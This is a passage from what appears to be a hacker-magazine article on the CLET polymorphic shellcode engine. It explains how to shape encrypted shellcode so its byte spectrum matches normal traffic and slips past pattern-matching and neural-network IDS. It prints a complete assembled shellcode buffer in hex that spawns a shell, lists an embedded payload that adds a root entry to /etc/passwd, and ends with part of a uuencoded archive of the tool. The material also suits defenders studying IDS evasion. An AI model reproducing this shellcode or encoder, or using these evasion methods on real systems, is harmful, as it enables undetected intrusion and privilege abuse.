This spectrum is different, order of values is different; however we have the same values but affected to other bytes. Spectrum signature is the same. With such a way of encryption, the spectrum of the occurences of each encrypted bytes is a permutation of the spectrum of the unencrypted bytes. The encryption of a lonely byte return a value which is unique and caracteristical of this byte, that’s really a problem.

In order to avoid signatures similarities, the shellcode is four bytes encrypted and this method prevents us to have a singular spectrum of occurences. Indeed, if we crypt FFFFFFFF for instance with XOR AABBCCDD, ADD 1, we obtain 66554433. Thus, spectrum of X’ won’t be a permutation of spectrum of X. A four-bytes encryption allows us to avoid this kind of spectrum analysis.

But spectrum analysis methods are just a kind of more general methods, called data-mining methods. We will see now what are these methods and how we can use spectrum analysis of the trafic to try to defeat this more general kind of methods.

--[5 - Spectrum Analysis to defeat data mining methods

----[5.1 - History

When vxers had discovered polymorphism, authors of antivirus were afraid that it was the ultimate solution and that pattern matching was dead.
To struggle this new kind of viruses, they decided to modify their attacks. Antivirus with heuristic analysis were born. This antivirus tries for instance to execute the code in memory and test if this code modifies its own instructions (if it tries to decipher it for instance), in such a case, it can be a polymorphed virus.
As we see upper, four-bytes encryption, not using an only XOR and a fixed size key, fakenop zone with more than one-byte instructions allow to 'defeat' pattern matching. Perhaps it remains some weaknesses, however we think that polymorphism engines will be more and more efficient and that finally it will be too difficult to implement efficient pattern matching methods in IDS.
Will IDS take example on the antivirus and try to implement heuristic method? We don't think so because there is a big difference between IDS and antivirus, IDS have to work in real time clock mode. They can't record all packets and analyse them later. Maybe an heuristic approach won't be used. Besides, Snort IDS, which tries to develop methods against polymorphed shellcodes, don't use heuristic methods but data mining methods. It's probably these methods which will be developped, so that's against these methods we try to create polymorphic shellcodes as we explain in 5.3 after having given a quick explaination about data mining methods.

----[5.2 - A example of a data mining method, the neural approach or using a perceptron to recognize polymorphic shellcode.

As we explained it before, we want that, from a set of criterions detected by some network probes, a manager takes a real time reliable decision on the network trafic. With the development of polymorphic engines, maybe pattern matching will become inefficient or too difficult to be implemented because you have to create lots of rules, perhaps sometimes you don't know. Is there a solution? We have lots of informations and we want to treat them quickly to finaly obtain a decision, that's the general goal of what are called data mining methods.

In fact, the goal of data mining is the following:

from a big set of explanatory variables (X1,..,XN) we search to take a decision on an unknown variable Y. Notice that:

* this decision has to be taken quickly (problem of calculating complexity)
* this decision has to be reliable (problem of positif falses...)

There is a lot of methods which belongs to theory of data mining. To make understanding the CLET approach about anti-data mining methods, we have decided to show one of them (actually bases of one of them): the connexionist method because this method has several qualities for intrusion detection:

* the recognition of intrusion is based on learning. For example, with an only neuron, the learning consists in choosing the best explanatory variables X1,...,XN and setting the best values for the parameters w1,...wN (cf below).
* thanks to this learning, a neural network is very flexible and is able to work with a big number of variables and with explanation of Y with the variables X1,...,XN ().

So, in a network, such an approach seems to be interesting, since the number of explanatory variables is certainly huge. Let's explain bases of it.

------[5.2.A - Modelising a neuron.

To understand how can work an IDS using a data-mining method based on neural approach, we have to understand how work a neuron (so called because this kind of programs copy neuron of your brain). The scheme below explains how a neuron runs.
As in your brain, a neuron is a simple calculator.

```
                         ____________
X1 --------w1--------|            |
                     |            |
X2---------w2--------|            |
                     |   Neuron   |--fh[(w1*X1 + w2*X2 + ... + wN*XN)-B]
...                  |            |
                     |            |
XN --------wN--------|____________|
```

```
fh is the function defined by:    |
fh(x)=1 if x>0                    |  B is called the offset of the neuron.
fh(x)=0 if x<=0                   |
```

So we understand that the exiting value is 0 or 1 depending of the entering value X1,X2,...,XN and depending on w1,w2,...,wN.

------[5.2.B - a data-mining method: using neural approach in an IDS.

Imagine now that the value X1,X2,...,XN are values of the data of a packet: X1 is the first byte, X2 the second,..., XN the last one (you can choose X1 the first bit, X2 the second, etc... if you want that the entering values are 0 or 1) (we can choose too X1 number of \x00, X2 number of \x01,... there are many methods, we expose one idea here in order to explain data mining). The question is: which w1,w2,...wN have we to choose in order to generate an exiting value of 1 if the packet is a 'dangerous' one and 0 if it is a normal one? We can't find value, our neuron have to learn them with the following algorithm:

w1,w2,...,wN is first chosen randomly.
Then we create some packets and some 'dangerous' packets with polymorphic engine, and we test them with the neuron.
We modify the wI when the exiting value is wrong.

```
If the exiting value is 0 instead of 1:
wI <- wI + z*xI          0<=I<=N
If the exiting value is 1 instead of 0:
wI <- wI - z*xI          0<=I<=N
```

z is a constant value chosen arbitrarily.

In easy stages, neuron will 'learn' to recognize normal packets from 'dangerous' ones. In a real IDS, one neuron is not sufficient, and the convergence have to be studied. There is however two big advantages of neural approach:

* decisions of a neural network depend not directly on rules written by humans, they are based on learning which set "weights" of different entries of neurons according to the minimization of particular statistical criterions. So the decisions are more shrewd and more adapted to the local network traffic than general rules.
* when the field of searching is important (huge data bases for pattern matching), data mining approach is quicker because the algorithm has not to search in a huge data bases and as not to perform a lot of calculations (when the choice of the network topology, of explanatory variables and learning are "good"...)

----[5.3 - Spectrum Analysis in CLET against data mining method.

The main idea of the method we expose upper, like lots of data mining

methods, is to learn to recognize a normal packet from a 'dangerous' packet. So we understand that to struggle this kind of methods, simple polymorphism can be not enough, and alphanumeric method (enjoy the excellent article of rix), can be inefficient. Indeed, in a case of a non-alphanumeric communication, alphanumeric data will be considered as strange and will create an alert. The question is to know how a polymorph engine can generate a polymorphic shellcode which will be considered as normal by an IDS using data mining methods. Maybe CLET engine shows a beginning of answer. Howerer we are aware of some weaknesses (for nstance the SpectrumFile has no influence under the fakenot zone), we work today on this weaknesses.
Let's see how it works.

Imagine the following case:

```
                              _________
                             | Firewall|       _________
               ---Internet---|    +    |------| Server |
                             |   IDS   |      |_________|
                             |_________|
```

We can suppose that the IDS analyses the entering packet with a port destination 80 and the ip of the server with data mining methods.
To escape this control, our idea is to generate bytes which values are dependant on the probability of this values in a normal trafic:

```
theo@warmach# sniff eth0 80 2>fingerprint &
theo@warmach$ lynx server.com
```

The program sniff will listen on interface eth0 the leaving packet with a destination port 80 and record the data of them in a file fingerprint in binary.
Then, we begin to navigate normally to record a 'normal' trafic.

```
theo@warmach$ stat fingerprint Spectralfile
```

The program stat will generate a file Spectralfile which content have the following format:

```
0 (number of bytes \x00 in leaving data destinated to server)
1 (number of bytes \x01 in leaving data destinated to server)
...
FF (number of bytes \xFF in leaving data destinated to server)
```

This Spectralfile can be generated by lots of methods. Instead of my example, you can decide to generate it from the trafic on a network, you can decide to write it if you have specials demands....

Now the question is, how can we use this file? how can we use a description of a trafic? Option f of clet allows us to use a analysis of a trafic, thanks to this spectral file.

```
theo@warmach$ clet -n 100 -c -b 100 -f Spectralfile -B
```
(cf 6 for options)

Action of option -f is different between the different zones (NOPzone, decipher routine, shellcode, cramming zone). Indeed we want to modify, thanks to SpectralFile, process of generation of polymorphic shellcode but we can't have the same action upon the different zones because we have constraints depending on zones. It's for instance, in some cases, very difficult to generate a fake nop zone according to a spectrum analysis.

Let see how we can act upon this different zones.

------[5.3.1 - Generate cramming bytes zone using spectrum analysis.

The simplest idea is to generate a craming bytes zone which spectrum is the same than trafic spectrum:

```
-------------------------------------------------------------------------
| FAKENOP | DecipherRoutine | shellcode | bytes to cram | return adress |
-------------------------------------------------------------------------
                                                ^
                                                |
                                                |
                               the probability of these bytes
                             are dependant on the Spectralfile
                                   (without the value \x00)
```

If there is no file in argument, there is equiprobability for all the values (without zero)...
This process of generation is used if you don't use -B option.

However cramming bytes zone is the gold zone. In that way, we can generate bytes we want. Remember that in some zones, we don't use spectrum analysis (like in DecipherRoutine in our version). It will more usefull to use cramming bytes zone in order to add bytes we lack in previous zones in which we can't so easily use spectral file. Let's go!

--------[5.3.1.A - A difficult problem

To explain it, we will take a simple example. We are interested in a zone where there are only three bytes accepted called A,B,C. A spectrum study of these zone shows us:

A: 50
B: 50
C: 100

The problem is that, because of our shellcode and our nop_zone, we have the following fixed beginning of our packet:

ABBAAAAA (8 bytes)

We can add two bytes with our cramming zone. The question is:
which 2 bytes have we to choose?

The answer is relativy simple, intuitively we think of CC, why?
because C is important in trafic and we don't have it. In fact, if we call

Xa the random variable of Bernouilli associated to the number of A in the first 9 bytes
Xb the random variable of Bernouilli associated to the number of B in the first 9 bytes
Xc the random variable of Bernouilli associated to the number of C in the first 9 bytes

```
we intuitively compare p(Xa=6)*p(Xb=2)*p(Xc=1) > p(Xa=7)*p(Xb=2)
                   and p(Xa=6)*p(Xb=2)*p(Xc=1) > p(Xa=6)*p(Xb=3)
```

Thus, we choose C because the packet ABBAAAAAC have, spectrumly speaking, more probablities to exist than ABBAAAAAA or ABBAAAAAB.

Maybe you can think that it is because C has the most important probability in the trafic. It's a wrong way of thinking. Indeed, imagine we have the following beginning:

CCCCCBBB

how have to choose the next byte? we will choose A although A and B have the same probability to come because of the reason explained upper.

Ok so we choose C. Using the same principles, we then choose C for the tenth bytes: ABBAAAAACC.

The problem is that we can't use this method to generate the cramming bytes. Indeed, this method is fixed. When we write fixed, we want to say that the first 8 bytes fixed the two following. That is a weakness!
In that way, if we generate the cramming bytes zone by this method, that means that the beginning zone (nop_zone+ decipher + shellcode) will fix the cramming zone. If we use a principle, we create a method to recognize our packet. Take the beginning and try with the same principles to create a cramming zone. If you obtain the same bytes then the packet have been created by CLET polymorphism engine (even if it is not easy to find the beginning of the cramming bytes zone). You can discard it.

So now we have to introduce a law of probability. Indeed, if we have the following beginning: ABBAAAAA, we have to increase the probability to obtain a C and decrease probability to obtain B or A. But this last probabilities mustn't be null! The real question is thus:
how modifying probability of A,B,C in order to finally obtain a packet which spectrum is close to trafic spectrum?

------[5.3.1.B - A logical idea.

Take the last example: we have

ABBAAAAA

and a spectrum file with:
A=50; B=50; C=100;

how choosing laws of probabilty?
With notations used upper and in case of all the bytes would have been chosen using spectrum file, we would have:

$E[Xa]=9/4$
$E[Xb]=9/4$
$E[Xc]=9/2$

E[X] is written for the hope of the random variable X (mathematicaly speaking in our case: E[X]=p(X)*size (here 9) because it's a Bernouilli variable).

In fact we have 6 A and 2 B.
Because 9/4-6 <0, it will stupid to generate a A, we can write that the new probability of A is now p(A)=0!

However 9/4-2 >0 and 9/2-0>0 so we can still generate B and C to ajust the spectrum. We must have p(B)>0 and p(C)>0.
We have:

$9/4-2=1/4$
$9/2-0=9/2$

So intuitively, we can think that it is logic that C has a probablity (9/2)/(1/4)=18 bigger than probability of B. Thus we have to solve the system:

```
 | p(C)=18*p(B)      ie    | p(B)=1/19
 | p(C)+p(B)=1             | p(C)=18/19
```

and we obtain laws for generate the ninth byte.
Then we can use the same algorithm to create cramming byte zone.

However this algorithm has the following problem:

the big problem is to know in what conditions we have:

$$E[Xa] \sim sizeof(packet) * p(A)$$

```
                      E[Xb] ~ sizeof(packet) * p(B)
                      E[Xc] ~ sizeof(packet) * p(C)
                      ...
                    when sizeof(cramming zone) ---> +oo
                    ie when sizeof(paquet) -------> +oo
```

~ means equivalent to (in the mathematical sense).

sizeof(packet) * p(.) would be the hope in case of the whole packet would have been generated depending on trafic (because in such a case, Xa,Xb,.. would be variables of Bernouilli, see [7]). Remember it's what we want. We want that our cramming byte zone generate a packet which entire spectrum is close to trafic spectrum. We want that our laws 'correct' the spectrum of the beginning. Intuitively we can hope that it will be the case because we favour lacking bytes over the others. However, it is a bit difficult to prove it, mathematicaly speaking. Indeed take E[Xa] for instance. It's very difficult to write it. In that way laws to generate the N byte depending on the N-1 random byte. In our example, laws to generate the tenth byte are not the same if we have ABBAAAAAC or ABBAAAAAB. Remember that to avoid a fixed method the two cases are allowed!
That's for all this reasons we have chosen a simpler method.

------[5.3.1.C - CLET Method.

If you don't use the option -B, cramming bytes zone will be generated as explain in the beginning of 5.3.1, without taking the beginning into account. We can begin to explain how this method is implemented, how it uses the spectrum file. Imagine we have the following spectrum file:

```
  0 6
  1 18
  2 13
  3 32
  4 0
  .....
  FC 0
  FD 37
  FE 0
  FF 0
```

First we can notice that we don't take care of the first line because we can't generate zeros in our zone. We build the following board:

```
   |  sizeof(board) |   1   |   2   |   3   |   FC   |
-----------------------------------------------------------------
   |   XXXXXXXXX    |  18   | 13+18 | 31+32 |  63+37 |
                              = 31    = 63    = 100
```

Then we randomly choose a number n between 1 and 100 and we make a dichotomic search in the board (to limit the complexity because we have a sorted board).

```
if 0  < n <= 18 we generate \x01
if 18 < n <= 31 we generate \x02
if 31 < n <= 63 we generate \x03
if 63 < n <= 100 we generate \xFC
```

This method allows us to generate a cramming bytes zone with p(1)=18/100, p(2)=13/100, p(3)=32/100 and p(FC)=37/100, without using float division.

Now let's see how the option -B take the beginning into account.

We take the same example with the same spectrum file:

```
   |  sizeof(board) |   1   |   2   |   3   |   FC   |
-----------------------------------------------------------------
   |   XXXXXXXXX    |  18   | 13+18 | 31+32 |  63+37 |
```

		= 31	= 63	= 100

To take the beginning into account, we modify the board with the following method:

Imagine we have to generate a 800 bytes cramming bytes zone, the beginning have a size of 200 bytes. In fact, at the end, our packet without the adress zone will have a size of 1000 bytes.

We call Ntotal the max value in board (here 100) and b the size of the packet without the adress zone (here 1000).
b= b1 + b2 (b1 is size of the beginning=fakenop+decipher+shellcode and b2 is size of cramming byte zone). Here b1=200 and b2=800.

Let’s see how we modify the board, for instance with byte \x03. We call q3 the number of byte \x03 we found in the beginning. (here we choose q3=20).

We make q3*Ntotal/b=20*1/10=2 and then we make 63-2=61. We obtain the following board:

sizeof(board)	1	2	3	FC
XXXXXXXXX	18	13+18 = 31	63-02 = 61	61+37 = 98

So now, we can think that we have a probability of 30/98 to generate \x03, however this algorithm have to be use to modify all value. The value 98 will be thus modified. We apply the same algorithm and we can suppose we finally obtain the board:

sizeof(board)	1	2	3	FC
XXXXXXXXX	16	11+16 = 27	57	57+33 = 90

Finally we see that we obtain laws:

p(\x01)= 16/90
p(\x02)= 11/90
p(\x03)= 30/90
p(\xFC)= 33/90

This laws will be use to generate all the cramming bytes zone. Intuitively, we understand that, with this method, we correct our spectrum depending on the values we have in the beginning. The question is now, can we prove that this method do a right correction, that:

E[Xn] ~ b*p(n) when b ---> +oo

where X is a random variable of bernouilli which count the number of the byte n in the packet and p(n) the probability of n to appear in the trafic.

If such is the case, that means that E[X], with a sufficient value of b, is ’like a simple bernoulli hope’. It’s like we have generated the whole packet with probabilities of the trafic!

Let’s prove it!

We take the same notation. Ntotal is total sum of data in the trafic.
b=b1+b2 (b1 size of beginning, b2 size of cramming zone).
We call q(\xA2) number of \xA2 bytes in beginning (fakenop +decipher + shellcode) and n(\xAE) the number initially written in spectrum file near AE.

We take a byte that we call TT.

E[Xt] = q(TT) + b2 * p’(TT)

p'(TT) is the probability for having n after modification of the board. As we see previously:

```
                          n(TT) - q(TT)*Ntotal/b
p'(TT)=  -----------------------------------------------------------
          Ntotal - ( q(\x00)+ q(\x01) +  ...... + q(\xFF) )*Ntotal/b
```

So we have:

```
                               n(TT) - q(TT)*Ntotal/b
E[Xt]=q(TT)+b2*-------------------------------------------------------
               Ntotal - (q(\x00)+ q(\x01) +  ...... + q(\xFF))*Ntotal/b
```

We simplify by Ntotal:

```
                           (b2*n(TT))/Ntotal - q(TT)*b2/b
E[Xt]=q(TT) + -------------------------------------------------------
                     1 - (q(\x00)+ q(\x01) +  ...... + q(\xFF))/b
```

Ok, when b -----> +oo, we have:

b2~b (b=b1+b2 and b1 is a constant)

Obviously q(\x00)=o(b); q(\x01)=o(b);.....

```
thus (q(\x00)+ q(\x01) +  ...... + q(\xFF))/b = o(1) and:
 1 - (q(\x00)+ q(\x01) +  ...... + q(\xFF))/b -------> 1
```

so E[Xt] = q(TT) + b*(n(TT)/Ntotal) - q(TT) + o(b)

Moreover we have p(n)=n(TT)/Ntotal so

  E[Xt] = b*p(n) + o(b)

so E[Xt] ~ b*p(n) we got it!

We can notice that we got this relation with the first simple method. We can so think that this second method is not better. It is wrong because remember that this relation doesn't show that a method is good or not, it just shows if a method is fair or not! This second method takes beginning into account, so it is better that the simple one. However before demonstration we can't know if this method was fair. We just knew that if it was fair, it will better than the simple one. Now we know that it is fair. That's why CLET uses it.

------[5.3.2 - Generating shellcode zone using spectrum analysis.

There is a very simple idea: generating several decipher routines and using the best one. But how choose the best one?

Remember we want to generate a shellcode which will be considered as normal. So we could think that the best decipher routine is the one which allows to generate a shellcode which spectrum is close to trafic spectrum. However it's important to understand that this kind of approach has its limits. Indeed, imagine following cases:

We have an IDS which data mining methods is very simple, if it finds a byte \xFF in a packet, it generate an alert and discard it. We have the following spectrum file:

```
  0 0
  1 0
  .....
  41 15678
  42 23445
  ....
```

The shellcode we generate will have many \x41 and \x42, but imagine it has a \xFF in the ciphered shellcode. Our packet will be discarded. However if we have done a packet without spectrum file and without a \xFF byte, this packet would have been accepted. We think that the more the shellcode will have a spectrum close to trafic spectrum, the more the packet have probability to be accepted. However, it can exist exception as we see in the example (we can notice that in example the rule was very clear, but rules generated by data mining method are less simple).
The main question is thus: how defining a good polymorph shellcode?

Against data mining method there is a simple idea, we have to define a measure which let us to measure a value of a shellcode. How finding this measure? For the moment we work on a measure which favours shellcode which spectrum is close to trafic spectrum by giving a heavy value of bytes which don't appear in trafic. However, this method is not implemented in version 1.0.0 because today IDS with data-mining methods are not very developped (there is SNORT) and so it is difficult to see what kind of caracteristics will be detected (size of packet, spectrum of packet, ...) and it is so difficult to define a good measure.

------[5.3.3 - Generating fakenop zone using spectrum analysis.

In this part, we don't perform to modify the code following the spectrum analysis due to difficulties of such an implementation. We just are trying to generate random code with the my_random function which gives a uniform probability to generate number between min and max... :(
We still could think about a function which would give a weight for each instruction following the results of a spectrum analysis, and we could generate fake-nop with a random function whose density function corresponds to the density of probability given by the former function...
The problem with this method is that the set of instructions is smaller than the set of all the hexa codes that contains the network traffic.
Such a finding automaticaly dodges the issues of our method, and all we can do is to minimalise the difference of spectrum between our code and a normal network traffic and try to compensate with other parts of the shellcode we better control (like the craming bytes)...

----[5.4 - Conclusion about anti data-mining methods.

Spectrum Analysis an approach, it's not the only one. We are aware too that, with methods like neural method exposed upper, it is possible to generate a filter against CLET polymorphic shellcodes, if you use our engine as a benchmark to involve your neural system. That's a interessant way of using! Maybe it is interessant too to think about genetic methods in order to find the best approach (cf [5]). However, today data-mining begins and so it's difficult to find the best approach...

--[6 - The CLET Polymorphic Shellcode Engine

----[6.1 - Principles

We decided to make a different routine at each time, randomly. We first generate a XOR (with a random key) at a random place, and then we generate reversible instructions (as many as you want) : ADD/SUB, ROL/ROR. We don't generate it in assembly but in a pseudo-assembly language, it is easier to manipulate pseudo-assembly language at this point of the program because we have to make two things at the same time : cipher the shellcode and generate the decipher routine.

Let's see how it works :

```
                         |
                        |
                        |
                +-------+--------+
                | pseudo-code of |
                |  the decipher  |<----------------+
                |    routine     |                 |
                +----------------+                 |
                 |              |                  |
                 |              |                  |
            traduction    interpretation           |
                 |              +                  |
                 |            cipher               |
                 |              |                  |
                 |              |                  |
                 |              |                 YES
                 |              |                  |
          +-------------+  +-----------+      +----+----+
          |   decipher  |  | ciphered  |      |         |
          |   routine   |  | shellcode +----->| zeroes? |
          |             |  |           |      |         |
          +------+------+  +-----------+      +----+----+
                 |                                 |
                 |                                NO
                 |                                 |
                 |    +----------------------------+
                 |    |
                 |    |
             +-------------+
             | polymorphed |
             |  shellcode  |
             +-------------+
```

Of course, when a cipher routine has been generated, we test it to see if a zero appear in the ciphered code (we also take care of not having zeroes in the keys. If it is the case, we replace it by a 0x01). If it is the case, a new cipher routine is generated. If it is good, we generate the decipher routine. We don't insert fake instructions among the true instructions of the decipher routine, it could improve the generator.

The main frame of our routine is rather the same (this is maybe a weakness) but we use three registers. But we take care of using different registers at each time, ie those three registers are chosen at random (cf 4.2)

----[6.2 - Using CLET polymorphic engine

```
theo@warmach$ ./clet -h
___________________________________________________________________________

 The CLET shellcode mutation engine
  by CLET TEAM:
     Theo Detristan, Tyll Ulenspiegel,
     Mynheer Superbus Von Underduk, Yann Malcom
___________________________________________________________________________


   Don't use it to enter systems, use it to understand systems.

   Version 1.0.0

   Syntax :
      ./clet
        -n nnop : generate nnop NOP.
        -a      : use american english dictonnary to generate NOP.
        -c      : print C form of the buffer.
        -i nint : decryption routine has nint instructions (default is 5)
        -f file : spectrum file used to polymorph.
        -b ncra : generate ncra cramming bytes using spectrum or not
        -B      : cramming bytes zone is adapted to beginning
        -t      : number of bytes generated is a multiple of 4
        -x XXXX : XXXX is the address for the address zone
                  FE011EC9 for instance
        -z nadd : generate address zone of nadd*4 bytes
        -e      : execute shellcode.
        -d      : dump shellcode to stdout.
        -s      : spectrum analysis.
        -S file : load shellcode from file.
        -E [1-3]: load an embeded shellcode.
        -h      : display this message.
```

/* Size options:

In bytes:

```
  -n nnop                                  -b ncra          -z nadd/4
 <-------->                              <--------------><-------------->
-------------------------------------------------------------------------
| FAKENOP | DecipherRoutine | shellcode | bytes to cram | return adress |
-------------------------------------------------------------------------
```

-t allows that:

Size_of_fake_nop_zone + Size_decipher + Size_decipher + Size_cramming is a multiple of 4. This option allows to alignate return adresses.

-i is the number of fake instructions (cf 6.1) in the decipher routine.

/* Anti-data mining options:

-f you give here a spectrum file which shows trafic spectrum (cf 5.3) If you don’t give a file, probabilities of bytes are the same.

-B the option -b generates a cramming bytes zone. If the option is used without -B, process of generation doesn’t take care of the fakenop zone, ciphered shellcode, etc... Indeed if -b is used with -B then cramming bytes zone tries to correct spectrum ’errors’ due to the begininning.

/* Shellcode

-E allows you to choose one of our shellcode.
  1 is a classic bash (packetstorm).
  2 is aleph one shellcode.
  3 is a w00w00 code which add a root line in /etc/passwd
  (don’t use it with -e in root)

-S allows us to give your shellcode. It’s important because our shellcodes are not remote shellcode! You give a file and its bytes will be the shellcode. If you just have a shellcode in Cformat you can use convert.

-e execute the encrypted shellcode, you see your polymorphic shellcode runs.

/* See the generated shellcode.

-c writes the shellcode in C format.

-d dump it on stderr.

/* Example

```
theo@warmach$ ./clet -e -E 2 -b 50 -t -B -c -f ../spectrum/stat2 -a -n 123
```

```
 -a -x AABBCCEE -z 15 -i 8

[+] Generating decryption loop :
   ADD 4EC0CB5C
   ROR 19
   SUB 466D336C           // option -i
   XOR A535C6B4           // we've got 8 instructions.
   ROR D
   ROR 6
   SUB 51289E19
   SUB DAD72129
done

[+] Generating 123 bytes of  Alpha NOP :
NOP : SUPREMELYCRUTCHESCATARACTINSTRUMENTATIONLOVABLYPERILLABARB
SPANISHIZESBEGANAMBIDEXTROUSLYPHOSPHORSAVEDZEALOUSCONVINCEDFIXERS
done

// 123 bytes, it's the -n 123 option. -a means alphanumeric nops.

[+] Choosing used regs :
   work_reg : %edx
   left_reg : %ebx  // regs randomly chosen for decipher routine.
   addr_reg : %ecx
done

[+] Generating decryption header :
done

[+] Crypting shellcode :
done

[+] Generating 50 cramming bytes   // -b 50 bytes of cramming bytes
[+] Using ../spectrum/stat2        // -f ../spectrum/stat2: bytes
[+] Adapting to beginning          // depends on spectrum file.
done                               // -B options: Adapting to beginning
                                   // cf 5.3.1

[+] Generating 1 adding cramming bytes to equalize // -t option
[+] Using ../spectrum/stat2        // we can now add adresses of 4 bytes
done

[+] Assembling buffer :
   buffer length : 348
done

// This all the polymorph shellcode in C format (option -c)

Assembled version :
\x53\x55\x50\x52
\x45\x4D\x45\x4C
\x59\x43\x52\x55
\x54\x43\x48\x45
\x53\x43\x41\x54
\x41\x52\x41\x43
\x54\x49\x4E\x53
\x54\x52\x55\x4D
\x45\x4E\x54\x41
\x54\x49\x4F\x4E
\x4C\x4F\x56\x41
\x42\x4C\x59\x50
\x45\x52\x49\x4C
\x4C\x41\x42\x41
\x52\x42\x53\x50
\x41\x4E\x49\x53
\x48\x49\x5A\x45
\x53\x42\x45\x47
\x41\x4E\x41\x4D
```

```
\x42\x49\x44\x45
\x58\x54\x52\x4F
\x55\x53\x4C\x59
\x50\x48\x4F\x53
\x50\x48\x4F\x52
\x53\x41\x56\x45
\x44\x5A\x45\x41
\x4C\x4F\x55\x53
\x43\x4F\x4E\x56
\x49\x4E\x43\x45
\x44\x46\x49\x58
\x45\x52\x53\xEB
\x3B\x59\x31\xDB
\xB3\x30\x8B\x11
\x81\xC2\x5C\xCB
\xC0\x4E\xC1\xCA
\x19\x81\xEA\x6C
\x33\x6D\x46\x81
\xF2\xB4\xC6\x35
\xA5\xC1\xCA\x0D
\xC1\xCA\x06\x81
\xEA\x19\x9E\x28
\x51\x81\xEA\x29
\x21\xD7\xDA\x89
\x11\x41\x41\x41
\x41\x80\xEB\x04
\x74\x07\xEB\xCA
\xE8\xC0\xFF\xFF
\xFF\xE3\xBF\x84
\x3E\x59\xF4\xFD
\xEE\xE7\xCF\xE2
\xA2\x02\xF8\xBE
\x1D\x30\xEB\x32
\x3C\x12\xD7\x5A
\x95\x09\xAB\x16
\x07\x24\xE3\x02
\xEA\x3B\x58\x02
\x2D\x7A\x82\x8A
\x1C\x8A\xE1\x5C
\x23\x4F\xCF\x7C
\xF5\x41\x41\x43
\x42\x43\x0A\x43
\x43\x43\x41\x41
\x42\x43\x43\x43
\x43\x43\x43\x42
\x43\x43\x43\x43
\x43\x0D\x0D\x43
\x43\x43\x43\x43
\x41\x42\x43\x43
\x43\x41\x43\x42
\x42\x43\x43\x42
\x0D\x41\x43\x41
\x42\x41\x43\x43  // -t option: it is equalized.
\xAA\xBB\xCC\xEE  // -z 15 option: 15*sizeof(adress) zone
\xAA\xBB\xCC\xEE  // -x AABBCCEE option gives the adress
\xAA\xBB\xCC\xEE
\xAA\xBB\xCC\xEE
\xAA\xBB\xCC\xEE
\xAA\xBB\xCC\xEE
\xAA\xBB\xCC\xEE
\xAA\xBB\xCC\xEE
\xAA\xBB\xCC\xEE
\xAA\xBB\xCC\xEE
\xAA\xBB\xCC\xEE
\xAA\xBB\xCC\xEE
\xAA\xBB\xCC\xEE
\xAA\xBB\xCC\xEE
\xAA\xBB\xCC\xEE
```

```
Executing buffer : ... // -e option we test our polymorph shellcode
sh-2.05a$              // -E 2 we've chosen Aleph One shellcode
                       // That's it.
```

--[7 - References

[1] http://www.phrack.org/p49-14
    Smashing The Stack For Fun And Profit, Aleph One

[2] http://www.phrack.org/p57-0x0f
    Writing ia32 alphanumeric shellcodes, rix

[3] IA-32 Intel Architecture Software Developer's Manual
    Volume 2: Instruction Set Reference
    http://www.intel.com/design/pentium4/manuals/
    get it free ! http://www.intel.com/design/pentium4/manuals/index2.htm

[4] Billy Belcebu Virus Writing Guide
    especially the chapter on polymorphism
    http://vx.netlux.org/lib/static/vdat/tumisc60.htm

[5] Du virus a l'antivirus, Mark Ludwig
    especially the chapter on polymorphism

[6] Neural Computing: an introduction.
    R. Beale, T. Jackson

[7] Calcul des probabilites
    Dominique Foata, Aime Fuchs
    Dunod edition

--[Greetz

We would like to thank :

- all those who were at the RtC.Party'03, in particular ptah, eldre8, kad and spacewalker.
- #kaori@irc.freenode.net guys
- basque && bedian for moral support

```
begin 644 clet
M'XL(`'9N.3\``^S];8\T.7:F">IS_HH'LVC,#+#=G2G5RPK"?C!W8[A;AKF9
M)TGS"(_=@5!=E:VN6:FJD%75V\)@_OORW/=]#AE9DKH7HU%CL7HR@^<B>?AJ
M=!J-1B-_^;??_^'?_>=O_MW7_^[K?_O[7__JW__9_PG_OO[Z)U___*<_;?+K
M;W[^TZ]'Z?_^[.N?__R;GWS]]<]_]O4W?_;U-W_^S=<__;,O/_T_(S,__O?'
MW__A%S]\^?)G?_?;O_G]/Z7W7_/__]%_O_S1]?]/O_KAG[T-X/I__?5_P_7_
MYB]^_LW/[?K_[*?_>OW_1?[]0]?_;[[_S5__ZOM?_O#WO_O#O_M/_PQI?/W-
MUU__[)^X_M_\Q3=Q_7_V<_O]__0O_OS/_^S+U_\,:?]7__W_^?7_XV]^_^N_
M^<WWO_KRZ]_\X<O?_?U?__"+W_SJMW_WY7\*][_][6_^QCS_KU_^Q.E__JNO
M_B^_^OX__OHWWW^Y3>]__;IL\_[RU\M6ZI>??O7?NV#_^N^_Z=\_]/O_P]__
M[OO?_[/\\OGOO_;[__E/?C[<_YO[-S_YYN=_\:^__W^)?_X#?M_SE__Q__E?
MOO[Z?_P2/^IIGN'VS>!6CA/<_GQPRPK[%Y_<5KC]I+EUQW3YZS0O7W[^Y;-3
M6;[\[$=.I_N7G_Y8Z_[E)S_6>O_R%S]RFM^__/F/G,[O7[[YD=/T_N7K(6/6
M?2U;_?*3/__+G_SESW[^YW_YLR__]LLW7WUEOX2F\N7W?_CAC[_\PY>O_K>O
MOO1N\)?_J36<7_^&?G\U^EA?^HL?_N:OOOK?O_SNKTWCRU]]^9-___[?>[3_
M\;<_?/G=[[__XZ]^&]']^K>_Z:G_\3?-^J/$+8G_W(R_^I,<_6<S_Q\__5\L
M]:9@MK_ZQWOC?^CWS[S\]2]_^ZOO_R7N_S_YZ3<_^]'O_Z=_T9S^]??_+_#/
M?P'WHUQ38<O\^K]\_3.UT'_S;YJ\__'W_^E+*O%KN>]W5S7=GW_2_>WO/JFV
M:,\]VO0GT9X_ZY;0_>9/LU`^9:'T+'S3L_!OF(7R.=JY1_NG69@_13L/T;ZX
M[A>5;%"=IRE^RE__ES__^:@Z?__+7__=+_[VR_2K_[4U+_R^IU_]ZM?X5??P
M90S_\E\)7_[X'_[PPR]^^2F*Z5,6_N)3%J;?__+7O_XG,S!]RL!?O/R3H?^A
MY*UBI]DC^-G7?U*QT]_^[9?\_=_\^O=_^/Z'WW_Y[6_^\-LOY0^_^.7_:ZQN
MC\!B^.;'U?U?C6#;[T,9_O+K,8+MMU_VWWW_PR\^Y?G\-J<AP/]M#'#^[6_^
M\_<__.'+VV]_^-67EE3Z+W_X_C>_:MWJ_-L__H>__?[_W9Q[//-W8\)_^0_%
MPV`6TW=__,6O/E7;2U3;7Y[_I-I>_O87?_./5==+KZZ_G']<70KX'__CC\*5
MZ?HR9#:-X<H??OM#:PO7J&>[9_SVR\LZ77I;7S]'\*FIK+_]Q:]ZX!;1RP_M
